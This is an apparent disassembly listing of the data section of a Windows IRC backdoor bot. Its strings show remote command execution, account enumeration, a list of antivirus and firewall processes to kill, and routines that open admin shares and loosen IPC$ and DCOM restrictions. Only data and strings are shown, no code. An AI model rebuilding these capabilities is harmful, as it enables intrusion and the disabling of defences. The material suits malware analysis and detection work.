unk_439C98	db  2Dh	; -		; DATA XREF: sub_4192FC+95o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSErrorWithUser	db '- %s: error with username: ',27h,'%s',27h,' - %s',0
		align 4
unk_439CC8	db  2Dh	; -		; DATA XREF: sub_4192FC+6Do
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aSUsernameS	db '- %s username: ',27h,'%s',27h,0
		align 4
unk_439CE8	db  2Dh	; -		; DATA XREF: sub_419443+3AFo
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserInfoErrorL	db '- user info error <%ld>',0
		align 4
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_419443+385o
		align 10h
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_419443+35Ao
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_419443+32Fo
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_419443+304o
		align 4
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_419443+2D9o
		align 10h
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_419443+2AEo
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_419443+283o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_419443+258o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_419443+22Do
		align 4
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_419443+202o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_419443+1D7o
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_419443+1ACo
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_419443+181o
		align 4
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_419443+156o
		align 4
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_419443+12Bo
aGuest		db 'Guest',0            ; DATA XREF: sub_419443:loc_419562o
		align 4
aUser_0		db 'User',0             ; DATA XREF: sub_419443:loc_41955Bo
		align 10h
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_419443:loc_419554o
		align 10h
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_419443+DAo
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_419443+AFo
		align 10h
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_419443+84o
		align 10h
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_419443+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_41982C+14Fo
		align 4
unk_439EA4	db  2Dh	; -		; DATA XREF: sub_41982C+F7o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aAnAccessViolat	db '- an access violation has occured',0
		align 10h
aS_4		db '  %S',0             ; DATA XREF: sub_41982C+BEo
		align 4
unk_439ED8	db  2Dh	; -		; DATA XREF: sub_41982C+7Ao
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aUserListErrorS	db '- user list error %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_41982C+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_4199AC:loc_419AC9o
		align 10h
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_4199AC:loc_419AC2o
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_4199AC:loc_419ABBo
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419AB4o
		align 4
aAnUnknownErr_0	db 'An unknown error occurred.',0 ; DATA XREF: sub_4199AC:loc_419AADo
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_4199AC:loc_419A90o
		db 'ord policy requirement.)',0
		align 10h
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_4199AC:loc_419A89o
		align 4
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_4199AC:loc_419A82o
		align 10h
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_4199AC+CFo
		db ' the domain.',0
		align 10h
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_4199AC:loc_419A57o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A50o
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_4199AC:loc_419A49o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_4199AC:loc_419A3Fo
		align 4
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_4199AC+89o
		align 10h
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_4199AC:loc_419A19o
		align 4
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_4199AC:loc_419A0Fo
		align 4
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_4199AC:loc_419A05o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_4199AC:loc_4199FBo
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_4199AC:loc_4199F1o
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_4199AC+3Bo
		align 10h
dword_43A1E0	dd 234032Dh, 274656Eh, 25202D03h, 34032073h, 76726553h
					; DATA XREF: sub_419AE0+ABo
		dd 3A037265h, 20532520h, 654D3403h, 67617373h, 203A0365h
		dd 5325h
unk_43A20C	db  2Dh	; -		; DATA XREF: sub_419AE0+81o
		db 3, 34h, 2
		db  6Eh	; n
		db 65h,	74h, 2
		db    3
aMessageSentSuc	db '- message sent successfully',0
		align 4
		dd 7530h
off_43A238	dd offset aRegedit_exe	; DATA XREF: sub_419C09+CBo
					; "regedit.exe"
		dd offset aMsconfig_exe	; "msconfig.exe"
		dd offset aNetstat_exe	; "netstat.exe"
		dd offset aMsblast_exe	; "msblast.exe"
		dd offset aZapro_exe	; "zapro.exe"
		dd offset aNavw32_exe	; "navw32.exe"
		dd offset aNavapw32_exe	; "navapw32.exe"
		dd offset aZonealarm_exe ; "zonealarm.exe"
		dd offset aWincfg32_exeta ; "wincfg32.exetaskmon.exe"
		dd offset aPandaavengine_ ; "PandaAVEngine.exe"
		dd offset dword_43A340
		dd offset dword_43A334
		dd offset dword_43A328
		dd offset dword_43A31C
		dd offset dword_43A310
		dd offset dword_43A304
		dd offset dword_43A2F4
		dd offset dword_43A2E8
		dd offset dword_43A2DC
		dd offset dword_43A2D0
		dd offset dword_43A2C4
		dd offset dword_43A2B4
		dd offset dword_43A2A8
		dd offset dword_43A298
dword_43A298	dd 72313169h, 346E3435h, 6578652Eh, 0 ;	DATA XREF: sub_419C09+ECo
					; ___:0043A294o
dword_43A2A8	dd 6E757269h, 78652E34h, 65h ; DATA XREF: ___:0043A290o
dword_43A2B4	dd 75643364h, 74616470h, 78652E65h, 65h	; DATA XREF: ___:0043A28Co
dword_43A2C4	dd 65746172h, 6578652Eh, 0 ; DATA XREF:	___:0043A288o
dword_43A2D0	dd 74617373h, 78652E65h, 65h ; DATA XREF: ___:0043A284o
dword_43A2DC	dd 736E6977h, 652E7379h, 6578h ; DATA XREF: ___:0043A280o
dword_43A2E8	dd 756E6977h, 652E6470h, 6578h ; DATA XREF: ___:0043A27Co
dword_43A2F4	dd 4D737953h, 50586E6Fh, 6578652Eh, 0 ;	DATA XREF: ___:0043A278o
dword_43A304	dd 61656262h, 2E656C67h, 657865h ; DATA	XREF: ___:0043A274o
dword_43A310	dd 696E6550h, 2E323373h, 657865h ; DATA	XREF: ___:0043A270o
dword_43A31C	dd 6B656574h, 2E736469h, 657865h ; DATA	XREF: ___:0043A26Co
dword_43A328	dd 4C42534Dh, 2E545341h, 657865h ; DATA	XREF: ___:0043A268o
dword_43A334	dd 7663736Dh, 2E323362h, 657865h ; DATA	XREF: ___:0043A264o
dword_43A340	dd 69737973h, 2E6F666Eh, 657865h ; DATA	XREF: ___:0043A260o
aPandaavengine_	db 'PandaAVEngine.exe',0 ; DATA XREF: ___:0043A25Co
		align 10h
aWincfg32_exeta	db 'wincfg32.exetaskmon.exe',0 ; DATA XREF: ___:0043A258o
aZonealarm_exe	db 'zonealarm.exe',0    ; DATA XREF: ___:0043A254o
		align 4
aNavapw32_exe	db 'navapw32.exe',0     ; DATA XREF: ___:0043A250o
		align 4
aNavw32_exe	db 'navw32.exe',0       ; DATA XREF: ___:0043A24Co
		align 4
aZapro_exe	db 'zapro.exe',0        ; DATA XREF: ___:0043A248o
		align 10h
aMsblast_exe	db 'msblast.exe',0      ; DATA XREF: ___:0043A244o
aNetstat_exe	db 'netstat.exe',0      ; DATA XREF: ___:0043A240o
aMsconfig_exe	db 'msconfig.exe',0     ; DATA XREF: ___:0043A23Co
		align 4
aRegedit_exe	db 'regedit.exe',0      ; DATA XREF: ___:off_43A238o
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_419C09+191o
		align 10h
unk_43A3F0	db  2Dh	; -		; DATA XREF: sub_419E38:loc_419EBFo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListFai	db ' process list failed',0
		align 4
unk_43A414	db  2Dh	; -		; DATA XREF: sub_419E38+80o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessListCom	db ' process list complete',0
		align 4
unk_43A438	db  2Dh	; -		; DATA XREF: sub_419E38+19o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aListingProcess	db ' listing processes:',0
aPrivmsgSS	db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o
unk_43A468	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A18Eo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotReadDa	db '- Could not read data from proccess.',0Dh,0Ah,0
unk_43A498	db  2Dh	; -		; DATA XREF: sub_41A05C+10Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aProccessHasTer	db '- Proccess has terminated.',0Dh,0Ah,0
		align 10h
unk_43A4C0	db  2Dh	; -		; DATA XREF: sub_41A05C:loc_41A142o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldNotRead_0	db '- Could not read data from proccess',0Dh,0Ah,0
		align 10h
unk_43A4F0	db  2Dh	; -		; DATA XREF: sub_41A1B1+194o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aFailedToStartI	db '- Failed to start IO thread, error: <%d>.',0
		align 4
unk_43A524	db  2Dh	; -		; DATA XREF: sub_41A1B1+14Co
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteCommandP	db '- Remote Command Prompt',0
		align 4
off_43A548	dd offset dword_43A580	; DATA XREF: sub_41A3C6+1B3o
					; sub_41A6EA+17Ao
		align 10h
		dd offset dword_43A578
		align 8
off_43A558	dd offset dword_43A574	; DATA XREF: sub_41A6EA+1E3o
		dd offset off_43A570
		dd offset dword_43A56C
		dd offset off_43A568
off_43A568	dd offset dword_5C3A44	; DATA XREF: sub_41A3C6+217o
					; ___:0043A564o
dword_43A56C	dd 2444h		; DATA XREF: ___:0043A560o
off_43A570	dd offset byte_5C3A43	; DATA XREF: ___:0043A55Co
dword_43A574	dd 2443h		; DATA XREF: ___:off_43A558o
dword_43A578	dd 494D4441h, 244Eh	; DATA XREF: ___:0043A550o
dword_43A580	dd 24435049h, 0		; DATA XREF: ___:off_43A548o
dword_43A588	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2E5o
					; sub_41A6EA+2DBo
aNetapi32_dllCo	db '- Netapi32.dll couldn',27h,'t be loaded.',0
		align 4
dword_43A5B8	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+2CFo
aNetworkSharesD	db '- Network shares deleted.',0
		align 10h
dword_43A5E0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A628o
aFailedToDelete	db '- Failed to delete ',27h,'%S',27h,' share.',0
		align 4
dword_43A60C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+25Bo
aShareSDeleted_	db '- Share ',27h,'%S',27h,' deleted.',0
		align 10h
dword_43A630	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A595o
aFailedToDele_0	db '- Failed to delete ',27h,'%s',27h,' share.',0
		align 4
dword_43A65C	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+1C8o
aShareSDelete_0	db '- Share ',27h,'%s',27h,' deleted.',0
		align 10h
dword_43A680	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F8o
					; sub_41A6EA:loc_41A818o
aAdvapi32_dllCo	db '- Advapi32.dll couldn',27h,'t be loaded.',0
		align 10h
dword_43A6B0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4F1o
aFailedToOpenIp	db '- Failed to open IPC$ Restriction registry key.',0
dword_43A6EC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6:loc_41A4D3o
aRestrictedAcce	db '- Restricted access to the IPC$ Share.',0
		align 10h
dword_43A720	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+106o
aFailedToRestri	db '- Failed to restrict access to the IPC$ Share.',0
		align 4
aRestrictanonym	db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo
					; sub_41A6EA+EDo
		align 10h
dword_43A770	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+91o
					; sub_41A6EA+91o
aFailedToOpenDc	db '- Failed to open DCOM registry key.',0
dword_43A7A0	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 64204D4Fh
					; DATA XREF: sub_41A3C6:loc_41A433o
		dd 62617369h, 2E64656Ch, 0
dword_43A7C0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A3C6+66o
aDisableDcomFai	db '- Disable DCOM failed.',0
		align 4
aEnabledcom	db 'EnableDCOM',0       ; DATA XREF: sub_41A3C6+54o
					; sub_41A6EA+54o
		align 10h
dword_43A7F0	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+2C3o
aNetworkSharesA	db '- Network shares added.',0
aC_1		db '%c:\',0             ; DATA XREF: sub_41A6EA+230o
		align 4
aC_2		db '%c$',0              ; DATA XREF: sub_41A6EA+219o
dword_43A820	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A889o
					; sub_41A6EA:loc_41A95Ao
aFailedToAddSSh	db '- Failed to add ',27h,'%s',27h,' share.',0
dword_43A848	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+198o
					; sub_41A6EA+269o
aShareSAdded_	db '- Share ',27h,'%s',27h,' added.',0
dword_43A868	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A811o
aFailedToOpen_0	db '- Failed to open IPC$ restriction registry key.',0
dword_43A8A4	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA:loc_41A7F3o
aUnrestrictedAc	db '- Unrestricted access to the IPC$ Share.',0
		align 4
dword_43A8DC	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+102o
aFailedToUnrest	db '- Failed to unrestrict access to the IPC$ Share.',0
		align 4
dword_43A91C	dd 234032Dh, 75636573h,	3026572h, 4344202Dh, 65204D4Fh
					; DATA XREF: sub_41A6EA:loc_41A757o
		dd 6C62616Eh, 2E6465h
dword_43A938	dd 234032Dh, 75636573h,	3026572h ; DATA	XREF: sub_41A6EA+66o
aEnableDcomFail	db '- Enable DCOM failed.',0
		align 4
aPostHttp1_0Hos	db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o
		db 'Host: %s',0Dh,0Ah
		db 'Content-Length: %d',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dword_43A990	dd 234032Dh, 65657073h,	73657464h, 2D030274h, 75450220h
					; DATA XREF: sub_41ABFB+1A7o
		dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h
		dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h
		dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h
		dd 25203A02h, 626B2064h, 732F7469h, 0
aWww_google_co_	db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o
		align 4
aYahoo_co_jp	db 'yahoo.co.jp',0      ; DATA XREF: sub_41ABFB+BDo
aWww_nifty_com	db 'www.nifty.com',0    ; DATA XREF: sub_41ABFB+B6o
		align 10h
aWww_d1asia_com	db 'www.d1asia.com',0   ; DATA XREF: sub_41ABFB+AFo
		align 10h
aWww_st_lib_kei	db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o
		align 4
aWww_lib_nthu_e	db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o
aWww_google_com	db 'www.google.com',0   ; DATA XREF: sub_41ABFB+9Ao
		align 4
aWww_easynews_c	db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o
		align 10h
aWww_above_net	db 'www.above.net',0    ; DATA XREF: sub_41ABFB+8Co
		align 10h
aWww_level3_com	db 'www.level3.com',0   ; DATA XREF: sub_41ABFB+85o
		align 10h
aNitro_ucsc_edu	db 'nitro.ucsc.edu',0   ; DATA XREF: sub_41ABFB+7Eo
		align 10h
aWww_burst_net	db 'www.burst.net',0    ; DATA XREF: sub_41ABFB+77o
		align 10h
aWww_cogentco_c	db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o
		align 4
aWww_rit_edu	db 'www.rit.edu',0      ; DATA XREF: sub_41ABFB+69o
aWww_nocster_co	db 'www.nocster.com',0  ; DATA XREF: sub_41ABFB+62o
aWww_verio_com	db 'www.verio.com',0    ; DATA XREF: sub_41ABFB+5Bo
		align 10h
aWww_stanford_e	db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o
		align 4
aWww_xo_net	db 'www.xo.net',0       ; DATA XREF: sub_41ABFB+4Do
		align 10h
aWww_google_it	db 'www.google.it',0    ; DATA XREF: sub_41ABFB+46o
		align 10h
aDe_yahoo_com	db 'de.yahoo.com',0     ; DATA XREF: sub_41ABFB+3Fo
		align 10h
aWww_belwue_de	db 'www.belwue.de',0    ; DATA XREF: sub_41ABFB+38o
		align 10h
aWww_switch_ch	db 'www.switch.ch',0    ; DATA XREF: sub_41ABFB+31o
		align 10h
aWww_1und1_de	db 'www.1und1.de',0     ; DATA XREF: sub_41ABFB+2Ao
		align 10h
aVerio_fr	db 'verio.fr',0         ; DATA XREF: sub_41ABFB+23o
		align 4
aWww_utwente_nl	db 'www.utwente.nl',0   ; DATA XREF: sub_41ABFB+1Co
		align 4
aWww_schlund_ne	db 'www.schlund.net',0  ; DATA XREF: sub_41ABFB+15o
dword_43AB9C	dd 234032Dh, 69737973h,	26F666Eh, 2202D03h, 2555043h, 4925203Ah
					; DATA XREF: sub_41AF8F+297o
		dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h
		dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh
		dd 26B7369h, 7325203Ah,	746F7420h, 202C6C61h, 66207325h
		dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h
		dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h
		dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h
		dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h
		dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h
		dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h
		dd 74705502h, 2656D69h,	7325203Ah, 2Eh
dword_43AC78	dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA	XREF: sub_41AF8F+192o
aCouldnTResolve	db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o
		align 4
dword_43AC9C	dd 234032Dh, 6974656Eh,	26F666Eh, 2202D03h, 65707954h
					; DATA XREF: sub_41B243+A4o
		dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h
		dd 2737365h, 7325203Ah,	4802202Eh, 6E74736Fh, 2656D61h
		dd 7325203Ah, 2Eh
off_43ACE0	dd offset loc_412F4E	; DATA XREF: sub_41B243:loc_41B2AFo
off_43ACE4	dd offset dword_4E414C	; DATA XREF: sub_41B243:loc_41B2A5o
dword_43ACE8	dd 6C616944h, 70752Dh	; DATA XREF: sub_41B243+5Bo
dword_43ACF0	dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h	; DATA XREF: sub_41B243+48o
unk_43AD00	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4BBo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToConnec	db ' Failed to connect to HTTP server.',0
		align 10h
unk_43AD30	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B4B4o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aCouldNotOpenAC	db ' Could not open a connection.',0
		align 4
dword_43AD5C	dd 234032Dh, 69736976h,	2D030274h, 766E4920h, 64696C61h
					; DATA XREF: sub_41B302+1A0o
		dd 4C525520h, 2Eh
unk_43AD78	db  2Dh	; -		; DATA XREF: sub_41B302:loc_41B495o
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToGetReq	db ' Failed to get requested URL from HTTP server.',0
		align 4
dword_43ADB4	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 73697620h
					; DATA XREF: sub_41B302+18Co
		dd 64657469h, 2Eh
dword_43ADD0	dd 2A2F2Ah		; DATA XREF: sub_41B302+3Bo
word_43ADD4	dw 4			; DATA XREF: sub_41B55B+10r
		align 4
dword_43ADD8	dd 6325h		; DATA XREF: ___:0041B89Co
dword_43ADDC	dd 0DFFh		; DATA XREF: ___:0041B6EAo
dword_43ADE0	dd 51FFh		; DATA XREF: ___:0041B6DFo
dword_43ADE4	dd 0EBFFh		; DATA XREF: ___:0041B6D4o
dword_43ADE8	dd 201h			; DATA XREF: ___:0041B6BFo
dword_43ADEC	dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo
dword_43AE00	dd 5C8C1EB3h		; DATA XREF: sub_41C2B8+4w sub_41C2C2r ...
		align 10h
dword_43AE10	dd 173Fh		; DATA XREF: sub_41D055+Dr
		dd 9875h, 9873h
off_43AE1C	dd offset sub_41D124	; DATA XREF: ___:0041C164r
		dd offset nullsub_2
		dd offset nullsub_2
dword_43AE28	dd 1B3Fh		; DATA XREF: sub_41D19B+Dr
dword_43AE2C	dd 19930520h, 4	dup(0)	; DATA XREF: sub_41D61D+2o
					; sub_41D626+2o
off_43AE40	dd offset sub_41C1A2	; DATA XREF: sub_41E2C9+1Cr
dword_43AE44	dd 2			; DATA XREF: sub_423D98+Er
					; sub_423DD1+46r ...
		dd 10h,	0
off_43AE50	dd offset off_43AE50	; DATA XREF: sub_41F216+Do
					; sub_41F216+69o ...
off_43AE54	dd offset off_43AE50	; DATA XREF: sub_41F216:loc_41F296r
					; sub_41F216+89w ...
		dd offset dword_43AE68
		dd offset dword_43AE68
dword_43AE60	dd 0FFFFFFFFh		; DATA XREF: sub_41F216r
					; sub_41F35A:loc_41F3A7w
		dd 0FFFFFFFFh
dword_43AE68	dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF:	___:0043AE58o
					; ___:0043AE5Co
off_43CE70	dd offset off_43AE50	; DATA XREF: sub_41F35A+15r
					; sub_41F35A+20w ...
dword_43CE74	dd 1E0h			; DATA XREF: sub_41BBE2+185r
					; sub_41BEF3:loc_41BF2Fr ...
off_43CE78	dd offset word_43CE82	; DATA XREF: sub_41C0CE+23r
					; sub_41C0CE:loc_41C12Fr ...
off_43CE7C	dd offset word_43CE82	; DATA XREF: sub_42686F+18r
		db 2 dup(0)
word_43CE82	dw 20h			; DATA XREF: sub_424FF8+18r
					; ___:off_43CE78o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_43D084	dd 1			; DATA XREF: sub_41C0CE:loc_41C0D6r
					; sub_41C0CE:loc_41C11Ar ...
byte_43D088	db 2Eh			; DATA XREF: sub_420DB0:loc_4210A4r
					; sub_420DB0+311r ...
		align 4
		dd 1
off_43D090	dd offset aNull_0	; DATA XREF: sub_41FF3F:loc_4202A3r
					; sub_41FF3F+457r
					; "(null)"
off_43D094	dd offset aNull		; DATA XREF: sub_41FF3F+259r
					; "(null)"
byte_43D098	db 1			; DATA XREF: sub_420749+E1r
		db 2, 4, 8
		align 10h
dword_43D0A0	dd 3A4h			; DATA XREF: sub_420749+2Fo
dword_43D0A4	dd 82798260h, 21h, 0	; DATA XREF: sub_420749+11Dr
dword_43D0B0	dd 0DFA6h		; DATA XREF: sub_420749+C0r
		align 8
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_43D190	dd 1			; DATA XREF: sub_420749+3Co
					; sub_420C7F+Co
dword_43D194	dd 16h			; DATA XREF: sub_420C7F:loc_420CB4r
		dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_43D2F8	dd 0D2D0920h, 5Dh	; DATA XREF: sub_420C7F+19o
					; sub_420DB0:loc_421317o
dword_43D300	dd 5Dh,	0		; DATA XREF: sub_420DB0:loc_421207o
dword_43D308	dd 14h			; DATA XREF: sub_421EC4+2o
off_43D30C	dd offset aExp		; DATA XREF: sub_421EC4:loc_421EE1r
					; "exp"
		dd 1Dh,	427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h
		dd 13h,	427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h
		dd 0Fh,	427820h, 10h, 427818h, 5, 427810h, 1Eh,	42780Ch
		dd 12h,	427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h
		dd 15h,	4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h
		dd 18h,	4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h
		dd 23h,	4277B4h, 24h, 4277B0h
dbl_43D3E0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+B7r
					; sub_421BFF:loc_421CE6r ...
		dd 0
		dd 0FFF80000h
dbl_43D3F0	dq 1.797693134862316e308 ; DATA	XREF: sub_421BFF+92r
					; sub_421BFF:loc_421CBEr ...
		dd 0
		dd 100000h, 0
		dd 80000000h
tbyte_43D408	dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr
					; sub_4220AC+1Fr
		align 4
tbyte_43D414	dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r
		align 10h
off_43D420	dd offset sub_422540	; DATA XREF: sub_41D13C+Fw
					; sub_41FF3F+3AAr
off_43D424	dd offset sub_4221D5	; DATA XREF: sub_41D13C+5w
					; sub_41FF3F+3E2r
off_43D428	dd offset sub_42223B	; DATA XREF: sub_41D13C+14w
					; sub_420DB0+430r
off_43D42C	dd offset sub_42217B	; DATA XREF: sub_41D13C+1Ew
					; sub_41FF3F+3CBr
off_43D430	dd offset sub_422223	; DATA XREF: sub_41D13C+28w
off_43D434	dd offset sub_422540	; DATA XREF: sub_41D13C+32w
		dd offset sub_424F1C
		align 10h
		dd offset sub_422DFC
